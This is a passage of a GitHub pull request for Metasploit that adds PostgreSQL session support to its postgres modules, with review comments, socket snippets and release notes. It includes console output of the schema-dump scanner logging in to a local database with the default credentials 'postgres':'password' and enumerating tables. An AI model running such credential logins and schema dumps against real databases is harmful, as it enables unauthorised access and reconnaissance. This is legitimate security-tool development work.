[*] 127.0.0.1:5432 - Found databases: postgres, new_database, template1, template0, second_db, example_user_details. Ignoring template1, template0.
[*] 127.0.0.1:5432 Postgres - Disconnected
[+] 127.0.0.1:5432 Postgres - Logged in to 'postgres' with 'postgres':'password'
[*] 127.0.0.1:5432 Postgres - querying with 'SELECT c.relname, n.nspname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname NOT IN ('pg_catalog','pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);'
[*] 127.0.0.1:5432 Postgres - Disconnected
[+] 127.0.0.1:5432 Postgres - Logged in to 'new_database' with 'postgres':'password'
[*] 127.0.0.1:5432 Postgres - querying with 'SELECT c.relname, n.nspname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname NOT IN ('pg_catalog','pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);'
[*] 127.0.0.1:5432 Postgres - querying with 'SELECT  A.attname, T.typname, A.attlen FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE  (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND (c.relname='IYwWbXaZU');'
[*] 127.0.0.1:5432 Postgres - Disconnected
[+] 127.0.0.1:5432 Postgres - Logged in to 'second_db' with 'postgres':'password'
[*] 127.0.0.1:5432 Postgres - querying with 'SELECT c.relname, n.nspname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname NOT IN ('pg_catalog','pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);'
[*] 127.0.0.1:5432 Postgres - querying with 'SELECT  A.attname, T.typname, A.attlen FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE  (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND (c.relname='IYwWbXaZU');'
[*] 127.0.0.1:5432 Postgres - Disconnected
[+] 127.0.0.1:5432 Postgres - Logged in to 'example_user_details' with 'postgres':'password'
[*] 127.0.0.1:5432 Postgres - querying with 'SELECT c.relname, n.nspname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname NOT IN ('pg_catalog','pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);'
[*] 127.0.0.1:5432 Postgres - querying with 'SELECT  A.attname, T.typname, A.attlen FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE  (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND (c.relname='IYwWbXaZU');'
[+] Postgres SQL Server Schema
 Host: 127.0.0.1
 Port: 5432
 ====================

---
- DBName: postgres
  Tables: []
- DBName: new_database
  Tables:
  - TableName: IYwWbXaZU
    Columns:
    - ColumnName: filename
      ColumnType: text
      ColumnLength: "-1"
- DBName: second_db
  Tables:
  - TableName: IYwWbXaZU
    Columns:
    - ColumnName: filename
      ColumnType: text
      ColumnLength: "-1"
- DBName: example_user_details
  Tables:
  - TableName: IYwWbXaZU
    Columns:
    - ColumnName: filename
      ColumnType: text
      ColumnLength: "-1"

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

SESSION

msf6 auxiliary(scanner/postgres/postgres_schemadump) > run session=4

[*] When targeting a session, only the current database can be dumped.
[*] 127.0.0.1:5432 - Found databases: example_user_details.
[*] 127.0.0.1: Postgres - querying with 'SELECT c.relname, n.nspname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname NOT IN ('pg_catalog','pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);'
[*] 127.0.0.1: Postgres - querying with 'SELECT  A.attname, T.typname, A.attlen FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE  (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND (c.relname='IYwWbXaZU');'
[+] Postgres SQL Server Schema
 Host: 127.0.0.1
 Port: 5432
 ====================

---
- DBName: example_user_details
  Tables:
  - TableName: IYwWbXaZU
    Columns:
    - ColumnName: filename
      ColumnType: text
      ColumnLength: "-1"

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

@sjanusz-r7 sjanusz-r7 force-pushed the use-postgresql-session-type-for-postgres-modules branch from 29cdb7f to b2e3e92 Compare February 2, 2024 14:17
@@ -121,6 +121,14 @@ def initialize(database, user, password=nil, uri = nil)
end
end

def address
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We'll want to circle back to renaming this to the lexicon similar to peer used elsewhere in metasploit, and other languages

Example ruby snippets:

>> s = TCPSocket.new('127.0.0.1', 5000)
=> #<TCPSocket:fd 18, AF_INET, 127.0.0.1, 52847>
>> s.peeraddr
=> ["AF_INET", 5000, "127.0.0.1", "127.0.0.1"]
>> s.local_address
=> #<Addrinfo: 127.0.0.1:52847 TCP>

Example Python snippets:

>>> import socket
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> result = s.connect(('127.0.0.1', 5000))
>>> s.getpeername()
('127.0.0.1', 5000)
>>> s.getsockname()
('127.0.0.1', 52883)

@sjanusz-r7 sjanusz-r7 force-pushed the use-postgresql-session-type-for-postgres-modules branch from 7f41ff0 to e71bd70 Compare February 9, 2024 13:44
@sjanusz-r7 sjanusz-r7 force-pushed the use-postgresql-session-type-for-postgres-modules branch from e71bd70 to 30fc29e Compare February 9, 2024 15:38
Comment on lines +41 to +42
Msf::Opt::RHOST(nil, false),
Msf::Opt::RPORT(5432, false)
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@adfoster-r7 adfoster-r7 merged commit dc47d03 into rapid7:master Feb 9, 2024
49 checks passed
@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Feb 9, 2024

Release Notes

Updates multiple PostgreSQL modules to now work with PostgreSQL sessions. This functionality is behind a feature flag which can be enabled with features set postgres_session_type true

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants